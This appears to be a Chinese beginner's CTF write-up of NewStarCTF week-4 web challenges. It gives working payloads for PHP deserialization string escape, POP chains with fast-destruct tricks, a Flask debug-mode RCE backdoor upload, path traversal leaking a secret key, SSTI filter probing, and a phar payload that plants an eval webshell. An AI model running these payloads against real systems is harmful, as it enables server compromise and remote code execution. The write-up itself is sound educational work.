NewStarCTF第四周,菜鸟的wp
 
 
逃 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20  <?php highlight_file (__FILE__ );function  waf ($str  ) {     return  str_replace ("bad" ,"good" ,$str ); }class  GetFlag   {     public  $key ;     public  $cmd  = "whoami" ;     public  function  __construct ($key  )     {         $this ->key = $key ;     }     public  function  __destruct ( )     {         system ($this ->cmd);     } }unserialize (waf (serialize (new  GetFlag ($_GET ['key' ])))); www-data www-data
 
简单反序列化字符串逃逸,代码限制了$cmd的值只能是whoami,不过输入的$key可控,同时经过str_replace后bad被换成good,会往后吞一个字符。
构造";s:3:"cmd";s:2:"ls";},这东西长度一共22,所以要放22个bad。经过waf后被替换它吐出去。
payload:
1 $key =badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:" cmd";s:2:" ls ";} 
 
1 $key =badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:" cmd";s:4:" ls  /";} 
 
1 $key =badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:" cmd";s:9:" cat  /flag";} 
 
flag{86b29bdb-7b5e-4348-b81e-84953119c4fc}
More Fast 题目描述:再快一点我就能拿到Flag了,如果Destruct能早一点触发就好了…
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57  <?php highlight_file (__FILE__ );class  Start  {     public  $errMsg ;     public  function  __destruct ( )  {         die ($this ->errMsg);     } }class  Pwn  {     public  $obj ;     public  function  __invoke ( ) {         $this ->obj->evil ();     }     public  function  evil ( )  {         phpinfo ();     } }class  Reverse  {     public  $func ;     public  function  __get ($var  )  {         ($this ->func)();     } }class  Web  {     public  $func ;     public  $var ;     public  function  evil ( )  {         if (!preg_match ("/flag/i" ,$this ->var )){              ($this ->func)($this ->var );         }else {             echo  "Not Flag" ;         }     } }class  Crypto  {     public  $obj ;     public  function  __toString ( )  {          $wel  = $this ->obj->good;         return  "NewStar" ;     } }class  Misc  {     public  function  evil ( )  {         echo  "good job but nothing" ;     } }$a  = @unserialize ($_POST ['fast' ]);throw  new  Exception ("Nope" ); Fatal error: Uncaught Exception : Nope in /var /www/html/index.php:55  Stack trace: 
 
正常pop链构造的题不过底下加了个throw new Exception("Nope");。最开始没注意这个东西直接写了链子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php class  Start  {     public  $errMsg ; }class  Pwn  {     public  $obj ; }class  Reverse  {     public  $func ; }class  Web  {     public  $func  = 'system' ;     public  $var  = 'ls' ; }class  Crypto  {     public  $obj ; }class  Misc  { }$a  = new  Start ();$b  = new  Crypto ();$c  = new  Reverse ();$d  = new  Pwn ();$e  = new  Web ();$a  -> errMsg = $b ;$b  -> obj = $c ;$c  -> func = $d ;$d  -> obj = $e ;echo  serialize ($a );
 
后面才知道考点是fast destruct,下面的内容参考了:https://eastjun.top/posts/php_unserialize_tricks/
通常反序列化的入口都是__destruct()方法,``__wakeup()方法的内容一般为反序列化设置了某些限制,需要我们绕过。**如果在反序列化操作之后抛出了异常则会跳过__destruct()函数的执行。可以理解为throw这个函数回收了自动销毁的类,导致destruct检测不到有东西销毁,也就没法触发destruct`函数**
1 2 3 4 5 6 7 8 9 10 11 12 13 14 class  Clazz  {     public  $func ;     public  $args ;     public  function  __destruct ( )     {         call_user_func ($this ->func, $this ->args);     } }$a  = @unserialize ($_POST ['data' ]);throw  new  Exception ("Hacker" );
 
POST传O:5:"Clazz":2:{s:4:"func";s:6:"system";s:4:"args";s:6:"whoami";}不会得到任何结果。
因为反序列化操作执行后没有立刻执行__destruct()方法,而是抛出了异常导致__destruct()方法被跳过。但是我们可以修改序列化得到的字符串使得反序列化解析出错,导致__destruct()方法被提前执行。
我们正常的序列化结果是:O:5:"Clazz":2:{s:4:"func";s:6:"system";s:4:"args";s:6:"whoami";}
可以修改为:
1 2 3 4  O: 5 : "Clazz" : 2 : { s: 4 : "func" ;s: 6 : "system" ;s: 4 : "args" ;s: 6 : "whoami" ;1 }  O: 5 : "Clazz" : 2 : { s: 4 : "func" ;s: 6 : "system" ;s: 4 : "args" ;s: 6 : "whoami" ;
 
unserialize()函数在扫描到序列化字符串格式有误时会提取触发对象的__destruct()方法导致命令执行。
data=O:5:"Clazz":2:{s:4:"func";s:6:"system";s:4:"args";s:6:"whoami";1}
后面看了其它师傅的wp发现还有其它解法:
https://blog.csdn.net/m0_73512445/article/details/133694293
https://blog.csdn.net/Myon5/article/details/134018456
GC回收机制提前触发__destruct() 
在PHP中,使用引用计数和回收周期来自动管理内存对象的,当一个变量被设置为NULL,或者没有任何指针指向时,它就会被变成垃圾,被GC机制自动回收掉。在回收的过程中,它会自动触发_destruct方法。 可以令$v = array($a,NULL)然后echo serialize($v):
1 a :2 :{i:0 ;O:5 :"Start" :1 :{s:6 :"errMsg" ;O:6 :"Crypto" :1 :{s:3 :"obj" ;O:7 :"Reverse" :1 :{s:4 :"func" ;O:3 :"Pwn" :1 :{s:3 :"obj" ;O:3 :"Web" :2 :{s:4 :"func" ;s:6 :"system" ;s:3 :"var" ;s:2 :"ls" ;}}}}}i:1 ;N;}
 
然后把i:1;N;的1改成0:
1 a :2 :{i:0 ;O:5 :"Start" :1 :{s:6 :"errMsg" ;O:6 :"Crypto" :1 :{s:3 :"obj" ;O:7 :"Reverse" :1 :{s:4 :"func" ;O:3 :"Pwn" :1 :{s:3 :"obj" ;O:3 :"Web" :2 :{s:4 :"func" ;s:6 :"system" ;s:3 :"var" ;s:2 :"ls" ;}}}}}i:0 ;N;}
 
至于为啥修改我也不是很清楚。。
flask disk 
三个路由:list,upload,console。
1 2 3 4 5 6 /list app.py 1746b 2023-10-14 11:16:00 /upload 上传文件 /console 输入PIN码
 
一开始以为要去生成PIN码然后进控制台。。但捣鼓半天也没找到能读我需要的数据的地方。
upload这个路由倒是没啥限制,但我上传完东西不知道上传路径是啥。
后面看了下wp(参考:https://blog.csdn.net/m0_73512445/article/details/133694293):
因为访问console这个路由会提示要输入PIN码(说明flask开启了debug模式。flask开启了debug模式下,app.py源文件被修改后会立刻加载。所以只需要上传一个能rce的app.py文件把原来的覆盖,就可以了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from  flask import  Flask,requestimport  os app = Flask(__name__)@app.route('/'  ) def  index ():         try :                 cmd = request.args.get('cmd' )                 data = os.popen(cmd).read()                 return  data         except :                 pass                   return  "1" if  __name__=='__main__' :         app.run(host='0.0.0.0' ,port=5000 ,debug=True ) 
 
InjectMe 1 2 3 4 5 6 7 //DockerfileFROM  vulhub/flask:1.1 .1 ENV  FLAG=flag{not_here}COPY  src/ /app RUN  mv  /app/start.sh /start.sh && chmod  777 /start.sh CMD  [ "/start.sh"  ] EXPOSE  8080 
 
/app目录泄露,里面有原本在src目录中的文件。
注意URL
1 2 3 4 5 6 7 8 9 10 11 12 13 @app.route("/download" , methods=["GET" ] ) def  dwonload (): 	filename = request.arg.get('file' , '' )     if  filename:         filename = filename.replace('../' , '' )           filename = os.path.join('static/img/' , filename)          print (filename)         if  (os.path.exists(filename)) and  ("start"  not  in  filename):             return  send_file(filename)         else :             abort(500 )     else :         abort(404 )
 
我们利用目录穿越去找app,py:
cancanneed?file=..././..././..././app/app.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 import  osimport  refrom  flask import  Flask, render_template, request, abort, send_file, session, render_template_stringfrom  config import  secret_key app = Flask(__name__) app.secret_key = secret_key@app.route('/'  ) def  hello_world ():       return  render_template('index.html' )@app.route("/cancanneed" , methods=["GET" ] ) def  cancanneed ():     all_filename = os.listdir('./static/img/' )     filename = request.args.get('file' , '' )     if  filename:         return  render_template('img.html' , filename=filename, all_filename=all_filename)     else :         return  f"{str (os.listdir('./static/img/' ))}  <br> <a href=\"/cancanneed?file=1.jpg\">/cancanneed?file=1.jpg</a>" @app.route("/download" , methods=["GET" ] ) def  download ():     filename = request.args.get('file' , '' )     if  filename:         filename = filename.replace('../' , '' )         filename = os.path.join('static/img/' , filename)         print (filename)         if  (os.path.exists(filename)) and  ("start"  not  in  filename):             return  send_file(filename)         else :             abort(500 )     else :         abort(404 )@app.route('/backdoor' , methods=["GET" ] ) def  backdoor ():     try :         print (session.get("user" ))         if  session.get("user" ) is  None :             session['user' ] = "guest"          name = session.get("user" )         if  re.findall(                 r'__|{{|class|base|init|mro|subclasses|builtins|globals|flag|os|system|popen|eval|:|\+|request|cat|tac|base64|nl|hex|\\u|\\x|\.' ,                 name):             abort(500 )         else :             return  render_template_string(                 '竟然给<h1>%s</h1>你找到了我的后门,你一定是网络安全大赛冠军吧!😝 <br> 那么 现在轮到你了!<br> 最后祝您玩得愉快!😁'  % name)     except  Exception:         abort(500 )
 
注意/backdoor则个路由,很明显这里存在SSTI
from config import secret_key
目录穿越找config.py:
cancanneed?file=..././..././..././app/config.py
secret_key = "y0u_n3ver_k0nw_s3cret_key_1s_newst4r"
抓包看SESSION:
eyJ1c2VyIjoiZ3Vlc3QifQ.ZWMqqQ.pyASrkelEUhTYiw79-4TDZ-IzwM
之前在Kali下过,直接用了:
注入点就是这个guest了,但过滤了挺多东西。可以把guest换成{%print(7*7)%}看看:
{'user': '{%print(7*7)%}'}
其实+这东西被过滤了无所谓的,["__cla""ss__"]能达到同样的效果
{'user': '{%print(7*7)%}'}
{%%20print([]["__cl""ass__")%20%}
PharOne 
源码中提示class.php:
1 2 3 4 5 6 7 8 9 10  <?php highlight_file (__FILE__ );class  Flag  {     public  $cmd ;     public  function  __destruct ( )     {         @exec ($this ->cmd);      } } @unlink ($_POST ['file' ]); 
 
Phar反序列化,参考:https://mochu.blog.csdn.net/article/details/106909777
这东西个人理解主要就是phar压缩文件时,会序列化用户可控的meta-data的内容。然后和phar://协议配合把这个字段的内容反序列化,从而触发__destruct()等方法。
利用条件:
1 2 3 4 5 6 7 8 9 10 11 // 参考:https:// www.cnblogs.com/CoLo/ p/16786627 .html1 、phar文件能够上传至服务器 // 即要求存在file_get_contents()、fopen()这种函数2 、要有可利用的魔术方法// 这个的话用一位大师傅的话说就是利用魔术方法作为"跳板" 3 、文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤// 一般利用姿势是上传Phar文件后通过伪协议Phar来实现反序列化,伪协议Phar格式是`Phar:// `这种,如果这几个特殊字符被过滤就无法实现反序列化4 、php.ini中的phar.readonly选项,需要为Off(默认是on)。
 
利用参考文章中的代码生成我们需要的phar文件:
要注意的就是exec是没回显的,如果是eval我们直接可以写命令进去
看了官方的wp,学习了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class  Flag  {     public  $cmd ; }$a =new  Flag ();$a ->cmd="echo \"<?=@eval(\\\$_POST['a']);\">/var/www/html/1.php" ;$phar  = new  Phar ("hacker.phar" );$phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER(); ?>" );$phar ->setMetadata ($a );$phar ->addFromString ("test.txt" , "test" );$phar ->stopBuffering ();  ?> 
 
\这东西是转义用的:
对于$a->cmd="echo \"<?=@eval(\\\$_POST['a']);\">/var/www/html/1.php";
利用echo输出<?=@eval(\\\$_POST['a']);?>这个字符串,然后把它重定向到/var/www/html/1.php中。简单说就是把一句话木马写到对应文件里。
可以看下AI解释:
再补充一下关于连续三个转义符号的解释。。直接贴我和x1r0z
如果题目给的是eval就没这么麻烦了。。
可以自己起个环境,访问/whatphar.php,在根目录刷新一下就能出现我们需要的hacker.phar文件了。
对于phar://协议来说文件名不重要,只要内容格式是phar即可触发反序列化:
。。触发了过滤,检查了文件内容并且不允许出现__HALT_COMPILER();?>。
不过对于Phar文件结构来说,a sub中要求phar文件必须以__HALT_COMPILER();?>结尾,否则无法被phar扩展识别为phar文件。
搜了下phar文件过滤__HALT_COMPILER();?>:https://cloud.tencent.com/developer/article/2278965
可以利用gizp将生成的Phar文件进行压缩:
然后将生成的hello.jpg直接上传,会给个上传路径:
进class.php,利用phar协议反序列化:
file=phar://upload/f19fac1b1e7aa6a2df2d5cb5eada2d10.jpg
然后访问1.php,POST给a传参执行命令就行了。
OtenkiBoy 这题不会。。跟着官方wp做的
下载附件后先看hint:
进入routes下(注意merge函数):
1 2 3 4 5 6 const  { mergeJSON, createDate } = require ("./_components/utils" );const  CONFIG  = mergeJSON (require ("../config.default" ), require ("../config" ), true );const  { rndID, mergeJSON } = require ("./_components/utils" );const  result = await  insert2db (mergeJSON (DEFAULT , data));
 
利用require引入了一个名为mergeJSON的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 const  mergeJSON = function  (target, patch, deep = false  ) {     if  (typeof  patch !== "object" ) return  patch;     if  (Array .isArray (patch)) return  patch;      if  (!target) target = {}     if  (deep) { target = copyJSON (target), patch = copyJSON (patch); }     for  (let  key in  patch) {         if  (key === "__proto__" ) continue ;          if  (target[key] !== patch[key])             target[key] = mergeJSON (target[key], patch[key]);     }     return  target; }